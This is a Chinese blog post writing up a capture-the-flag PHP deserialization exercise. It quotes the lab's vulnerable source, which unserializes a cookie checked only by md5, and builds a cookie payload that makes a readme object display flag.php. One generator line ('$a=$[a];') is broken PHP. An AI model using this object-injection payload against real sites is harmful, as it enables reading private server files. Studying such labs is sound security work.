记录一个靶场反序列化漏洞

序列化:
序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。

反序列化:
反序列化与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次环境而言,可以从序列化后的结果中恢复对象(object)本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

<?php
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
if(isset($_GET['source'])){ //把文档显示出来
$s = new readme();
$s->source = __FILE__;
echo $s;
exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
<html>
<head>
</head>
<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?>
<li><?=$todo?></li>
<?php endforeach;?>
</ul>
<form method="post" href=".">
<textarea name="text"></textarea>
<input type="submit" value="store">
</form>

这是靶场给我们的源码,根据这个代码我们可以构建payload。
我们已经知道要取得的flag存在与flag.php中,并且发现魔术函数_toString(只有在对象转换为字符串输出的时候触发)。
45 <li><?=$todo?></li>这个语句其实是<?php echo $todo ?>的简写,
可以知道这个语句能够触发魔术函数,我们只要能构建合适的语句使得readme中的变量source为flag.php
我们就能够访问到flag.php中的内容。
所以我们可以先构建代码

<?php
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
$a=new readme;
$a->source='flag.php';
$a=$[a];
echo serialize($a);
?>

代码运行得到 a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
代码中我们为什么要把$a序列化?为什么要把$a变为数组?请继续往下看

44 <?php foreach($todos as $todo):?>
$todo由数组$todos赋值(所以我们可以知道我们构建的cookie也必须是一个数组,经过foreach函数后才变为一个值),而数组$todos是在cookie里得来的,所以我们现在的目标就是能够构建合适的cookie让cookie进过层层解码后传递到$todo$todo是readme类的对象,且对象中的source为flag.php。(这里需要逆向思维)
image

观察这段源码我们可以发现 $m就是我们运行得到的序列化码(所以我们上面要把$a序列化,这样在反序列化的时候就能达到我们目的) a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}

并且$todos=$c=$h.$m=$h.md5($m) 且$h=md5($m)

所以$c=md5($m).$m

所以我们可以构建出payload

e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
经过url编码后得到e2d4f7dcc43ee1db7f69e76303d0105ca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22readme%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D

塞入cookie得到flag
image

posted @   smart_ql  阅读(262)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示